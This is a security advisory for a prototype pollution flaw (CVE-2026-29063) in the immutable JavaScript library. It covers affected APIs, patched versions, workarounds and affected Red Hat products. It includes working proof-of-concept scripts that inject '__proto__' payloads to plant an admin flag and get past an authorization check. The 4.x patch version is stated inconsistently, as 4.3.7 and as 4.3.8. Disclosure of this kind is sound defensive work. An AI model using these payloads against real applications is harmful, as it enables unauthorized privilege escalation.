CVE-2026-29063
Immutable is vulnerable to Prototype Pollution
Impact
## Impact _What kind of vulnerability is it? Who is impacted?_ A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. ## Affected APIs | API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` | | `mergeDeepWith(merger, target, source)` | Same code path | | `merge(target, source)` | Shallow variant, same assignment logic | | `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard | | `Map.toObject()` | Same `toObject()` implementation | | `Map.mergeDeep(source)` | When source is converted to plain object | ## Patches _Has the problem been patched? What versions should users upgrade to?_ | major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 | ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ - [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input) - [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto) - [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects) - [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype) - [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype) ## Proof of Concept ### PoC 1 — mergeDeep privilege escalation ```javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4 // Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","__proto__":{"role":"admin","admin":true}}', ); const merged = mergeDeep(userProfile, requestBody); console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__! // Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins) // Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true ``` ### PoC 2 — All affected APIs ```javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable"); const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}'); // 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true // 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true // 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true // 4. Map.toJS() with __proto__ key const m = Map({ user: "alice" }).set("__proto__", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true // 5. Map.toObject() with __proto__ key const m2 = Map({ user: "alice" }).set("__proto__", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true // 6. Nested path const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true // 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe) ``` **Verified output against immutable@5.1.4:** ``` mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted ``` ## References _Are there any links users can visit to find out more?_ - [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | immutable | >= 5.0.0, < 5.1.5 | 5.1.5 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Immutable-Js | Immutable | from 3.0.0 before 3.8.3 from 4.0.0 before 4.3.8 from 5.0.0 before 5.1.5 |
| Redhat | 3scale Api Management Platform | Version 2.0 |
| Redhat | Advanced Cluster Management For Kubernetes | from 2.14 before 2.14.3 from 2.15 before 2.15.2 from 2.16 before 2.16.1 |
| Redhat | Advanced Cluster Security | from 4.8.0 before 4.8.11 from 4.9.0 before 4.9.6 from 4.10.0 before 4.10.2 |
| Redhat | Ansible Automation Platform | Version 2.0 |
| Redhat | Build Of Apicurio Registry | Version 2.0 |
| Redhat | Connectivity Link | Version 1.0 |
| Redhat | Developer Hub | from 1.8.0 before 1.8.6 from 1.9.0 before 1.9.4 |
| Redhat | Discovery | Version 2.0 |
| Redhat | Edge Manager | from 1.0 before 1.0.3 from 1.1 before 1.1.3 |
| Redhat | Logging Subsystem For Red Hat Openshift | All versions |
| Redhat | Migration Toolkit | Version 1.8 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3
- https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8
- https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5
- https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw
- https://access.redhat.com/errata/RHSA-2026:11070
- https://access.redhat.com/errata/RHSA-2026:11217
- https://access.redhat.com/errata/RHSA-2026:11414
- https://access.redhat.com/errata/RHSA-2026:11858
- https://access.redhat.com/errata/RHSA-2026:11916
- https://access.redhat.com/errata/RHSA-2026:12118
- https://access.redhat.com/errata/RHSA-2026:13542
- https://access.redhat.com/errata/RHSA-2026:13548
- https://access.redhat.com/errata/RHSA-2026:13791
- https://access.redhat.com/errata/RHSA-2026:13826
- https://access.redhat.com/errata/RHSA-2026:13829
- https://access.redhat.com/errata/RHSA-2026:13847
- https://access.redhat.com/errata/RHSA-2026:13853
- https://access.redhat.com/errata/RHSA-2026:17469
- https://access.redhat.com/errata/RHSA-2026:17598
- https://access.redhat.com/errata/RHSA-2026:19375
- https://access.redhat.com/errata/RHSA-2026:19409
- https://access.redhat.com/errata/RHSA-2026:19410
- https://access.redhat.com/errata/RHSA-2026:19712
- https://access.redhat.com/errata/RHSA-2026:20034
- https://access.redhat.com/errata/RHSA-2026:20041